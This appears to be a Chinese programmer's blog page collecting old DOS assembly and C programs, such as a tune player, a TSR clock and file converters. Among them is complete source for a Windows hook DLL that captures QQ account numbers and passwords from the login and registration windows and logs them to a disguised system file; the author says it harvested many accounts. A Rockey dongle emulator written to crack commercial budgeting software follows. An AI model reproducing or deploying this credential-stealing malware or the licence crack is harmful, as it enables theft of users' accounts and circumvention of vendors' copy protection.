|
#
1 ;98 z.bin
2 ;兩只老虎的音樂程序
3 date segment
4 freq dw 2 dup (262,294,330,262)
5 dw 2 dup (330,350,392)
6 dw 2 dup (392,440,392,349,330,262)
7 dw 2 dup(330,294,262),0ffffh
8 time dw 8 dup(500)
9 dw 2 dup (500,500,1000)
10 dw 2 dup(250,250,250,250,500,500)
11 dw 2 dup (500,500,1000)
12 date ends
13
14 code segment
15 assume cs:code,ds:date
16 begin: push ds
17 mov ax,0
18 push ax
19 mov ax,date
20 mov ds,ax
21 ;**************************
22 lea si,freq
23 lea bp,time
24 n0: mov ah,0bh
25 int 21h
26 cmp al,0ffh
27 je exit
28 mov di,[si]
29 cmp di,0ffffh
30 je n8
31
32 mov bx,ds:[bp]
33 call s_sound
34 add si,2
35 add bp,2
36 jmp n0
37 n8: lea si,freq
38 lea bp,time
39 jmp n0
40 exit:mov ah,4ch
41 int 21h
42 s_sound proc near
43 push bp
44 push si
45
46 mov al,0b6h
47 out 43h,al
48 mov dx,12h
49 mov ax,533h*896
50 div di
51 out 42h,al
52 mov al,ah
53 out 42h,al
54 in al,61h
55 mov ah,al
56 or al,3
57 out 61h,al
58
59 n1: mov cx,2801h
60 n2: loop n2
61
62 dec bx
63 jnz n1
64 mov al,ah
65 out 61h,al
66 pop si
67 pop bp
68 ret
69 s_sound endp
70 code ends
71 end begin
72
73
74
75
76
77
在DOS下輸入 clock 回車 在屏幕右上角顯示時(shí)間和作者名，同時(shí)顏色變化 clock uninstall 回車 卸載時(shí)鐘
1 ;98 z.bin
2
3 code segment
4 assume cs:code,ds:code
5 org 100h
6
7 begin:
8 jmp install
9 d1 db 'z'
10 old dd ?
11 c db 0
12 color db 0
13 pag db ?
14 line_23 db 10 dup(20h,0)
15 line db 'Z',0eh,'B',0eh,'.',0eh,20h,0
16 line_24 db 2 dup(20h,0ah,20h,0ah,':',8eh),20h,0ah,20h,0ah
17 start:
18 inc cs:[c]
19 cmp byte ptr cs:[c],8
20 je n1
21 jmp dword ptr cs:[old]
22 n1:
23 mov byte ptr cs:[c],0
24 push ax
25 push bx
26 push cx
27 push dx
28 push ds
29 push es
30 push di
31 push si
32
33 cmp byte ptr cs:[color],15
34 jae n3
35 inc cs:[color]
36 mov bh,cs:[color]
37 mov byte ptr cs:[line+1],bh
38 mov byte ptr cs:[line+3],bh
39 jmp n4
40 n3:
41 mov byte ptr cs:[color],0
42 n4:
43 mov ah,0fh
44 int 10h
45 ; mov ah,3
46 ; int 10h
47 ; push dx
48 mov cs:[pag],bh
49 mov ax,0b800h
50 mov es,ax
51 ; mov ax,4096
52 ; mov bh,pag
53 ; mul bh
54
55 ; mov di,ax
56 ; add di,140
57 mov ax,cs
58 mov ds,ax
59 ; lea si,line_23
60 cld
61 ; mov cx,20
62 ; rep movsb
63 mov ah,2
64 int 1ah
65 push cx
66 mov ah,ch
67 mov cl,4
68 shr ch,cl
69 add ch,30h
70 mov byte ptr cs:[line_24],ch
71 mov ch,ah
72 and ch,0fh
73 add ch,30h
74 mov byte ptr cs:[line_24+2],ch
75 pop bx
76 mov ah,bl
77 shr bl,cl
78 add bl,30h
79 mov byte ptr cs:[line_24+6],bl
80 and ah,0fh
81 add ah,30h
82 mov byte ptr cs:[line_24+8],ah
83 mov ah,dh
84 shr dh,cl
85 add dh,30h
86 mov byte ptr cs:[line_24+12],dh
87 and ah,0fh
88 add ah,30h
89 mov byte ptr cs:[line_24+14],ah
90 mov ax,4096
91 mov bh,pag
92 mul bh
93 mov di,ax
94 add di,134
95 lea si,line
96 mov cx,24
97 rep movsb
98
99 ; pop dx
100 ; mov bh,pag
101 ; mov ah,2
102 ; int 10h
103 pop si
104 pop di
105 pop es
106 pop ds
107 pop dx
108 pop cx
109 pop bx
110 pop ax
111 iret
112 install:
113 mov ax,351ch
114 int 21h
115 mov word ptr old,bx
116 mov word ptr old+2,es
117 mov si,80h
118 cmp byte ptr cs:[si],0
119 je next
120 cmp byte ptr es:[103h],'z'
121 jne error
122 push ds
123 push dx
124 push di
125 cli
126 lea di,old
127 mov ds,word ptr es:[di+2]
128 mov dx,word ptr es:[di]
129 mov ax,251ch
130 int 21h
131 sti
132 pop di
133 pop dx
134 pop ds
135 mov ah,49h
136 int 21h
137 jmp eexit
138 error:
139 lea dx, mess
140 mov ah,9
141 int 21h
142 eexit:
143 mov ah,4ch
144 int 21h
145 next:
146 mov ax,251ch
147 lea dx,start
148 int 21h
149 lea dx,install
150 int 27h
151 mess db ' the TSR program no find!$'
152
153 code ends
154 end begin
155
摘要: Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/--> 硬盤鎖 HDD3.EXE 程序: zbin 1997-0... 閱讀全文
1 ;細(xì)胞問題解決方案 1997 zbin
2 date segment
3 sum dw 0
4 s7 dw ?
5 s6 dw ?
6 s5 dw ?
7 s3 dw ?
8 s4 dw ?
9 buf1 db 103 dup (20h)
10 buf2 db 100 dup (310 dup(20h))
11 buf3 db 100 dup (20h)
12 s1 dw ?
13 s2 dw ?
14 flag1 db 100
15 flag2 db 10
16 file db 'input.txt',0
17 handle dw ?
18 leth dw ?
19 date ends
20 code segment
21 assume cs:code,ds:date,es:date
22 main proc far
23 ; *******************
24 push ds
25 mov ax,0
26 push ax
27 mov ax,date
28 mov ds,ax
29 mov es,ax
30 ;*************************
31 mov ah,3dh
32 lea dx,file
33 mov al,0
34 int 21h
35 mov handle,ax
36 mov bx,ax
37 mov ah,42h
38 mov al,2
39 mov cx,0
40 mov dx,0
41 int 21h
42
43 mov leth,ax
44 mov ah,42h
45 mov al,0
46 mov cx,0
47 mov dx,0
48 int 21h
49
50 mov ah,3fh
51 mov cx,leth
52 mov bx,handle
53 lea dx,buf2
54 int 21h
55
56 lea di,buf2
57 a2: cmp byte ptr [di],30h
58 jg a1
59 inc di
60 jmp a2
61 a1: mov s1,di
62 a3: inc di
63 cmp byte ptr [di],20h
64 jne a3
65 mov cx,di
66 sub cx,s1
67 call sec
68 mov dx,s4
69 mov s3,dx
70
71 add di,2
72 mov s1,di
73 a8: inc di
74 cmp byte ptr [di],30h
75 jge a8
76 mov cx,di
77 sub cx,s1
78 call sec
79
80 mov ah,3eh
81 mov bx,handle
82 int 21h
83 ;************
84 mov ax,s3
85 mov bx,s4
86 mul bx
87 mov s5,ax
88 mov si,0
89 mov cx,s3
90 n2: push cx
91 mov cx,s4
92 n1: cmp byte ptr [di],30h
93 jge n0
94 inc di
95 jmp n1
96 n0: mov bl,byte ptr [di]
97 mov buf2[si],bl
98 inc si
99 inc di
100 loop n1
101 mov buf2[si],0
102 mov buf2[si+1],0
103 add si,2
104 pop cx
105 loop n2
106 mov cx,s4
107 inc cx
108 n3: mov buf2[si],0
109 inc si
110 loop n3
111 mov cx,s5
112 lea di,buf2
113 n4: mov s7,di
114 cmp byte ptr [di],30h
115 jb c0
116 jmp c1
117 c0: inc di
118 jmp n4
119 c1: cmp byte ptr [di],30h
120 ja n5
121 n8: mov di,s7
122 inc di
123 loop n4
124 jmp next
125 n5: mov bx,s4
126 add bx,2
127 mov si,0ffffh
128 push si
129 n6: mov byte ptr [di],30h
130 mov s6,di
131 sub di,bx
132 push di
133 mov di,s6
134 dec di
135 push di
136 mov di,s6
137 add di,bx
138 push di
139 mov di,s6
140 inc di
141 push di
142 n7:
143 pop di
144 cmp di,0ffffh
145 je n9
146 cmp byte ptr [di],30h
147 jg n6
148 jmp n7
149 n9: mov si,1
150 add sum,si
151 jmp n8
152
153 next: mov bx,sum
154 call disp
155 mov ah,4ch
156 int 21h
157 main endp
158
159 sec proc near
160 cmp cx,3
161 je a4
162 cmp cx,2
163 je a5
164 mov al,byte ptr [di-1]
165 sub al,30h
166 mov ah,0
167 mov bx,ax
168 a6: mov s4,bx
169 jmp a7
170 a4: mov bx,100
171 jmp a6
172 a5: mov al,byte ptr [di-2]
173 sub al,30h
174 mov dl,10
175 mul dl
176 mov bx,ax
177 mov al,byte ptr [di-1]
178 sub al,30h
179 mov ah,0
180 add bx,ax
181 jmp a6
182 a7: ret
183 sec endp
184
185 disp proc near
186 mov cx,10000
187 call clu
188 mov cx,1000
189 call clu
190 mov cx,100
191 call clu
192 mov cx,10
193 call clu
194 mov cx,1
195 call clu
196 ret
197 disp endp
198 clu proc near
199 mov ax,bx
200 mov dx,0
201 div cx
202 mov bx,dx
203 mov dl,al
204 add dl,30h
205 cmp dl,30h
206 je f1
207 jmp f2
208 f1: ret
209 f2: mov ah,02h
210 int 21h
211 ret
212 clu endp
213 code ends
214 end main
215
216
217
1 ;將文本文件轉(zhuǎn)化成EXE文件 97 zbin
2
3 code segment
4 org 100h
5 assume cs:code,ds:code,es:code
6 b0: jmp b2
7 file db 13 dup (?)
8 handle dw ?
9 lenth dw ?
10
11
12 b1: push cs
13 pop ds
14 mov cx,0
15 lea si,buf1
16 n1:lodsb
17 cmp al,1ah
18 je exit
19 cmp al,0dh
20 je n3
21 n4:mov dl,al
22 mov ah,2h
23 int 21h
24 jmp n1
25 n3: inc cx
26 cmp cx,15
27 je n5
28 jmp n4
29 n5: mov ah,0
30 int 16h
31 mov cx,0
32 jmp n4
33 exit: mov ah,4ch
34 int 21h
35 buf1 db 40 dup(1024 dup(?))
36
37 ;**************************
38 b2: mov si,81h
39 m1: lodsb
40 cmp al,20h
41 je m1
42 dec si
43 mov di,si
44 mov cx,20
45 cld
46 mov al,0dh
47 repnz scasb
48 dec di
49 mov byte ptr cs:[di],0
50 mov dx,si
51 mov di,si
52 mov cx,10
53 mov al,'.'
54 cld
55 repnz scasb
56 dec di
57 sub di,si
58 mov cx,di
59 lea di,file
60 cld
61 rep movsb
62 mov byte ptr[di],'.'
63 mov byte ptr[di+1],'e'
64 mov byte ptr[di+2],'x'
65 mov byte ptr[di+3],'e'
66 mov byte ptr[di+4],0
67 ;***************************
68 mov ah,3dh
69 mov al,0
70 int 21h
71 mov handle,ax
72 mov bx,ax
73 mov ah,42h
74 mov cx,0
75 mov al,2
76 mov dx,0
77 int 21h
78 mov lenth,ax
79 mov ah,42h
80 mov al,0
81 mov cx,0
82 mov dx,0
83 int 21h
84 mov cx,lenth
85 mov bx,handle
86 lea dx,buf1
87 mov ah,3fh
88 int 21h
89 mov di,lenth
90 mov byte ptr buf1[di],1ah
91 mov ah,3eh
92 int 21h
93
94 lea ax,b1
95 lea bx,b2
96 sub ax,bx
97 mov lenth,ax
98 mov ah,3ch
99 lea dx,file
100 mov cx,0
101 int 21h
102 mov handle,ax
103 mov bx,ax
104 mov cx,lenth
105 lea dx,b1
106 mov ah,40h
107 int 21h
108 mov ah,3eh
109 int 21h
110 mov ah,4ch
111 int 21h
112
113 code ends
114 end b0
115
1 /*
2 將數(shù)據(jù)文件轉(zhuǎn)化成MASM.EXE能編譯的數(shù)據(jù) 98.zbin
3
4 */
5
6
7 #include <stdio.h>
8 #include <bios.h>
9 #include <io.h>
10 #include <dos.h>
11 #include <dir.h>
12 void main()
13 {
14 char name[40];
15 FILE *p; int m,n;
16 char *v;
17 long size;
18 int i,j;
19 char ch;
20 char *first=" \tcode segment\n \t assume cs:code,ds:code \n \torg 100h\n begin:\n";
21 char *end=" \tcode ends\n \tend begin";
22 int len1,len2;
23 void *buf;
24 char drive[3];char dir[20];char fname[10];char ext[4];
25 char newname[50];
26 char *extt=".asm";
27
28 printf("enter the file name:\n");
29 scanf("%s", name);
30 if((p=fopen(name,"rb"))==NULL)
31 { printf("cann't open < %s > file!\n",name);
32 exit(0);}
33 size=filelength(fileno(p));
34 buf=(char *)malloc(size);
35 fread(buf,size,1,p);
36 fclose(p);
37 fnsplit(name,drive,dir,fname,ext);
38 fnmerge(newname,drive,dir,fname,extt);
39 if((p=fopen(newname,"wb"))==NULL)
40 {
41 printf("can't creat < %s > file!\n",newname);
42 exit(0);
43 }
44 fprintf(p,"%s\n",first);
45 fprintf(p," db ");
46 for(i=0,v=buf;i<size;i++,v++)
47 {
48 n=*v;
49 m=n;
50 n=n&0x0f0;
51 n=n>>4;
52 m=m&0x0f;
53 if(i==0)
54 {
55 fprintf(p,"0%x%xh,",n,m);
56 continue;
57 }
58 if((i%15)==0)
59 {
60 fprintf(p,"0%x%xh",n,m);
61 fputc(0x0d,p);
62 fputc(0x0a,p);
63 if(i==(size-1))
64 continue;
65 fprintf(p," db ");}
66 else
67 {if(i==(size-1))
68 fprintf(p,"0%x%xh",n,m);
69 else
70 fprintf(p,"0%x%xh,",n,m);
71 }
72 }
73 fprintf(p,"\n%s",end);
74 fcloseall();
75 printf(" \t PLEASE EDIT %s\n",newname);
76
77 }
78
1
2 /*
3
4 讀取漢字字模
5 TC 2.0
6
7 */
8
9 #define STRING "程序: Z.Bin CopyRight Ver 1.0 98-10-05"
10 #define CHAR_BYTE 40
11 #define OUTPUT_FILE "c:\\dat"
12 #define SIZE CHAR_BYTE*16
13 #include <stdio.h>
14 #include <graphics.h>
15 #include <conio.h>
16 #include <stdlib.h>
17
18 void main()
19 {
20 int At_x,color;
21 int g=0;int m;
22 int CharNumber;
23 int k;
24 int i,j;
25 char buf[SIZE];
26 char *p;
27 char a;
28 FILE *fp;
29 initgraph(&g,&m,"C:\TC");
30 p=buf;
31 if((fp=fopen(OUTPUT_FILE ,"wb"))==NULL)
32 return 0;
33 printf(STRING);
34 for(i=0;i<=223;i++)
35 {
36 buf[i]=0;
37 }
38 At_x=0;
39
40 for(CharNumber=0;CharNumber<CHAR_BYTE;CharNumber++)
41 {
42
43 for(j=0;j<=15;j++)
44 {
45 for(i=0;i<=7;i++)
46 {
47 color=getpixel(At_x+i,j);
48 if(color)
49 {a=1; a=a<<(7-i);
50 (*p)=(*p)|a;
51 }
52 }
53 p++;
54 }
55 At_x+=8;
56 }
57 fwrite(buf,1,SIZE,fp);
58 fclose(fp);
59 /*getch();*/
60 closegraph();
61 return 0;
62 }
出于愛好，寫了此小程序，曾經(jīng)也獲取了很多QQ 采用共享數(shù)據(jù)區(qū)方式
1 // hook.cpp : Defines the entry point for the DLL application.
2 //
3 #include "stdafx.h"
4
5 #pragma data_seg("publicdata")
6 HHOOK hhk=0;
7 HWND hokkwnd=0;
8 HWND hwndqq_zc=0;
9 int k=0;
10 int pc=0;
11 char keys[200]={0};
12 #pragma data_seg( )
13 #pragma comment(linker, "/SECTION:publicdata,RWS")
14 //dll中創(chuàng)建共享數(shù)據(jù)段，切記！！！所有變量必須初始化，否則創(chuàng)建將失敗
15
16 /*
17 登錄窗體控件id:
18 用戶號(hào)碼: 138
19 密碼：180
20 登錄（按鈕）: 1
21 記住密碼:323
22
23 注冊(cè)窗體控件id：
24 用戶： 460
25 密碼： 461
26 下一步（按鈕）：12324
27 */
28
29 #include <stdio.h>
30 #include <stdlib.h>
31
32
33
34 BOOL APIENTRY DllMain( HANDLE hModule,
35 DWORD ul_reason_for_call,
36 LPVOID lpReserved
37 )
38 {
39 return TRUE;
40 }
41
42 const int WND_NONE=0; //非破解QQ窗體
43 const int WND_LOGIN=1 ; //qq 登錄窗體
44 const int WND_ZC=2; //QQ 注冊(cè)窗體
45
46 int GetWnd(HWND hwnd){
47 RECT rc;
48 ::GetWindowRect(hwnd,&rc);
49 int w,h;
50 w = rc.right-rc.left;
51 h = rc.bottom- rc.top;
52 if(w== 462 && h==355){
53 return WND_ZC;
54 }
55 if(w== 266 && h==180){
56 return WND_LOGIN;
57 }
58 return WND_NONE;
59 }
60
61 char buf[200] ;
62
63 void keyfilter(char key){
64 keys[pc]= key;
65 pc++;
66 if(key==8){
67 pc--;
68 keys[pc]=0;
69 }
70 }
71
72 void save(){
73 // ::MessageBox(0,"Begin dump data ",0,MB_OK);
74 /* 檢測(cè)是否在輸入帳號(hào)密碼時(shí)按下的 next 按鈕 */
75 if(GetWnd( hwndqq_zc)==WND_ZC){
76 HWND hsub;
77 hsub = ::GetWindow(hwndqq_zc,GW_CHILD);
78 hsub = ::GetDlgItem(hsub,460); //取用戶號(hào)控件句柄
79 if(!IsWindowVisible(hsub)){ //在其它propertypage 上按下next 不保存信息
80 return ;
81 }
82 }
83
84 char buf[100],writebuf[100];;
85
86 memset(buf,0,sizeof(buf));
87 ::GetSystemDirectory(buf,sizeof(buf));
88 strcat(buf,"\\winmtq.sys");
89 //::MessageBox(0,buf,0,MB_OK);
90 FILE *pfile = fopen(buf,"a+");
91
92 memset(buf,0,sizeof(buf));
93 memset(writebuf,0,sizeof(writebuf));
94 ////////////////////////////////////////////////////////
95 if(GetWnd( hwndqq_zc)==WND_ZC){
96 /* 取注冊(cè)窗體信息*/
97 HWND hsub = ::GetWindow(hwndqq_zc,GW_CHILD);
98 //460
99 ::GetDlgItemText(hsub,460,buf,sizeof(buf));
100 strcpy(writebuf,buf);
101 strcat(writebuf,"|");
102 memset(buf,0,sizeof(buf));
103 ::GetDlgItemText(hsub,461,buf,sizeof(buf));
104 strcat(writebuf,buf);
105 strcat(writebuf,"&");
106 }
107 ///////////////////////////////////////////////////////
108 /*取登錄窗體信息*/
109 if(GetWnd(hwndqq_zc) == WND_LOGIN){
110 // ::MessageBox(0,"lgin crack",0,MB_OK);
111 //取用戶號(hào)
112 int cursel ;
113
114 HWND hsub;
115 hsub = ::GetDlgItem(hwndqq_zc,138);
116 memset(buf,0,sizeof(buf));
117 cursel= ::SendMessage((HWND)hsub,CB_GETCURSEL,0,0);
118 ::SendMessage((HWND)hsub,CB_GETLBTEXT,cursel,(LONG)buf);
119 strcpy(writebuf,buf);
120 strcat(writebuf,"|");
121 memset(buf,0,sizeof(buf));
122 ::GetDlgItemText(hwndqq_zc,180,buf,sizeof(buf));
123 strcat(writebuf,buf);
124 strcat(writebuf,"&");
125 }
126 ///////////////////////////////////////////////////////
127
128 // ::MessageBox(0,writebuf,0,MB_OK);
129
130 fwrite(writebuf,1,strlen(writebuf)+2,pfile);
131 fclose(pfile);
132
133 }
134
135 LRESULT CALLBACK GetMsgProc(
136 int code, // hook code
137 WPARAM wParam, // removal option
138 LPARAM lParam // message
139 ){
140 MSG *pmsg =(MSG*)lParam;
141 HWND hwnd ;
142 HWND hnext;
143 HWND hlogin;
144 if (code < 0){
145 goto end;
146 }
147
148 /*
149 if(pmsg->message ==WM_CHAR && pmsg->hwnd == hokkwnd){ //
150 // keyfilter(pmsg->wParam);
151
152 }
153 */
154
155 /*一下檢測(cè)是否用戶選擇了"下一步"或者"登錄"按鈕*/
156
157 if(pmsg->message == WM_KEYDOWN && pmsg->wParam ==VK_RETURN ){ // && LOWORD(wParam)==12324
158 int btnid;
159 if(GetWnd( hwndqq_zc)==WND_ZC){
160 btnid = 461;//12324;
161 }
162 if(GetWnd(hwndqq_zc) == WND_LOGIN){
163 btnid =180; //用于輸入密碼后打回車
164 }
165 hnext = ::GetDlgItem(hwndqq_zc,btnid);
166 if(GetWnd( hwndqq_zc)==WND_ZC){
167 HWND hs = ::GetWindow(hwndqq_zc,GW_CHILD);
168
169 hnext = ::GetDlgItem(hs,btnid);
170 }
171 // ::MessageBox(0,"key deal",0,MB_OK);
172 if(pmsg->hwnd ==hnext)
173 save();
174 }
175 if(pmsg->message ==WM_LBUTTONUP ){
176 int btnid;
177 if(GetWnd( hwndqq_zc)==WND_ZC){
178 btnid = 12324;
179 }
180 if(GetWnd(hwndqq_zc) == WND_LOGIN){
181 btnid =1; //登錄窗體的登錄按鈕
182 }
183 hnext = ::GetDlgItem(hwndqq_zc,btnid);
184 if(pmsg->hwnd == hnext)
185 save();
186 }
187 end :
188 return CallNextHookEx(hhk,code,wParam,lParam);
189
190 }
191
192 extern "C" bool __stdcall __declspec(dllexport) sethook(HWND qqzc/*qq注冊(cè)窗體句柄*/){
193
194 hwndqq_zc=qqzc;
195 HINSTANCE hdll = GetModuleHandle("hook.dll");
196 hhk = SetWindowsHookEx(WH_GETMESSAGE,HOOKPROC(GetMsgProc) ,hdll,0);
197 if(!hhk) return false;
198 return true;
199 }
200
201 extern "C" bool __stdcall __declspec(dllexport) unhook(){
202 ::UnhookWindowsHookEx(hhk);
203 return true;
204 }
205
206
一款工程預(yù)算軟件，曾經(jīng)在上海建筑行業(yè)一度非常風(fēng)光 研究了其技術(shù)，發(fā)覺是采用vb16編寫的，后來(lái)經(jīng)過(guò)升級(jí)到了vb32。 要破解其實(shí)有兩個(gè)步驟: 1.分析rockey 軟件狗加密和調(diào)用接口 2.vb虛擬解釋器的跟蹤 vb代碼跟蹤還是比較麻煩的事情，因?yàn)檐浖募用芩惴ù鎯?chǔ)在rockey狗里面，軟件產(chǎn)生算法并調(diào)用加密狗運(yùn)算，比對(duì)其結(jié)果是否一致就認(rèn)為軟件合法性了，所以只要跟蹤出vb里面的運(yùn)算算法然后偽造出rockey的加密狗接口即可了 vb算法跟蹤工作當(dāng)初由獸獸搞了2個(gè)星期在softice下很不容易的完成了 接下來(lái)的rockey接口就由我來(lái)干了 以下是rockey模擬接口， dllshell.cpp 模擬 rydll16.dll rockey功能函數(shù)
z.dll 是rydll16.dll(未作修改，只是更改名稱)
rydll16.dll 修改過(guò)的動(dòng)態(tài)庫(kù)，與并口軟件狗匹配
狗的密碼都是公開，參見rockey sdk文檔或代碼，
并口狗的身份id: 0x5193e484
1 // Borland C++ - (C) Copyright 1991, 1992 by Borland International
2
3 // Example program used to demonstrate DLL's. This file one of the
4 // files used to build BITMAP.DLL which is used in the DLLDEMO program.
5
6 #define STRICT
7 #include <windows.h>
8
9 // Turn off warning: Parameter '' is never used
10 #pragma argsused
11
12 // Every DLL has an entry point LibMain and an exit point WEP.
13 int FAR PASCAL LibMain( HINSTANCE hInstance, WORD wDataSegment,
14 WORD wHeapSize, LPSTR lpszCmdLine )
15 {
16 // The startup code for the DLL initializes the local heap (if there is one)
17 // with a call to LocalInit which locks the data segment.
18 if ( wHeapSize != 0 )
19 UnlockData( 0 );
20 return 1; // Indicate that the DLL was initialized successfully.
21 }
22
23 // Turn off warning: Parameter '' is never used
24 #pragma argsused
25
26 int FAR PASCAL WEP ( int bSystemExit )
27 {
28 return 1;
29 }
30
31 #include <stdio.h>
32 #include <string.h>
33 #include <stdlib.h>
34
35
36 WORD (CALLBACK *_Rockey)(WORD function, WORD FAR* handle, DWORD FAR* lp1, DWORD FAR* lp2, WORD FAR* p1, WORD FAR* p2, WORD FAR* p3, WORD FAR* p4, BYTE FAR* buffer);
37
38
39 extern "C" PASCAL WORD FAR _export Rockey(WORD function, WORD* handle,
40 DWORD* lp1, DWORD* lp2, WORD* p1, WORD* p2, WORD* p3, WORD* p4, BYTE* buffer){
41 char buf[2048];
42 memset(buf,0,2048);
43 // sprintf(buf,"傳入?yún)?shù):function:%d,handle:%d,p1:%d,p2:%d,p3:%d,p4:%d",
44 // function,*handle,*p1,*p2,*p3,*p4);
45
46
47 /* sprintf(buf,"傳入?yún)?shù):function:%d,handle:%d,p1:%p,p2:%p,p3:%p,p4:%p",
48 function,*handle,p1,p2,p3,p4);
49 */
50 sprintf(buf,"傳入?yún)?shù):function:%d,handle:%d,p1:%p,%d,p2:%p,%d,p3:%p,%d,p4:%p,%d",
51 function,*handle,p1,*p1,p2,*p2,p3,*p3,p4,*p4);
52 // MessageBox(0,buf,"RYDLL16",MB_OK);
53
54
55 /***********************************************************/
56 /*
57 查詢安插的軟件狗
58 */
59 //注意:
60 /*
61 在這里loadlibrary和freelibrary必須成對(duì)出現(xiàn)，如果忘記freelibrary則軟件再次啟動(dòng)加載
62 動(dòng)態(tài)庫(kù)時(shí)將失敗
63
64 2003.06.24 10:49 am runonce shanghai radio
65
66
67 */
68 if(function==1){ //查狗
69 HINSTANCE hDll;
70 WORD _handle[16], _p1, _p2, _p3, _p4, _retcode;
71 DWORD _lp1, _lp2;
72 hDll = LoadLibrary("z.dll");
73 if (hDll == NULL)
74 {
75 MessageBox(0,"load z.dll failed",0,MB_OK);
76 return 1;
77 }
78
79 (FARPROC)_Rockey = GetProcAddress(hDll, "Rockey");
80 _p1 = 0xc44c;
81 _p2 = 0xc8f8;
82 _p3 = 0x0799;
83 _p4 = 0xc43b;
84 WORD retcode;
85 if(_Rockey==NULL){
86 FreeLibrary(hDll);
87 return 1;
88 }
89
90 char bb[500];
91 memset(bb,0,sizeof(bb));
92 sprintf(bb,"yyyyyy. %d",*_Rockey);
93 // MessageBox(0,bb,0,MB_OK);
94
95 BYTE _buffer[200];
96 memset(_buffer,0,sizeof(_buffer));
97 retcode = _Rockey(1, &_handle[0], &_lp1, &_lp2, &_p1, &_p2, &_p3, &_p4, _buffer);
98 FreeLibrary(hDll);
99 if(retcode){
100 // MessageBox(0,"ret is not zero",0,MB_OK);
101 return 2;
102 }
103 if(_lp1 !=0x5193E484){ //并口軟件狗ID,
104 // MessageBox(0,"find dog error!",0,MB_OK);
105 return 2;
106 }
107 else{
108 // MessageBox(0,"find dog ok!",0,MB_OK);
109 return 0;
110 }
111
112 }
113
114 /***********************************************************/
115 if(function==5){
116 strcpy(buffer,"ZYYS");
117 }
118 if(function==14){
119 char temp[25];
120 memset(temp,0,25);
121 //記下傳入的參數(shù)
122 int temp1=*p1;
123 int temp2=*p2;
124 int temp3=*p3;
125 int temp4=*p4;
126 *p1=(temp1*temp2)+(temp1*temp2*temp4);
127 *p2=(temp3+temp4+temp1*temp2+temp1*temp2*temp4)*2;
128 *p3=temp1*temp2*temp4;
129 *p4=(temp4+1)*temp2*(temp1*2)+(*p2);
130 }
131
132 return 0;
133 }
翻開OpenLayers的Doc，看了一下類結(jié)構(gòu)層次的設(shè)計(jì)，oop的設(shè)計(jì)理念能通過(guò)js語(yǔ)言發(fā)揮到這種程度令我乍舌。
文檔寫的很全，也有很多的sample可以參考
開始學(xué)習(xí)openlayers，搞明白幾個(gè)examples就把它鏈接到MapServer的wms服務(wù)器上去吧
祝我自己好運(yùn)
|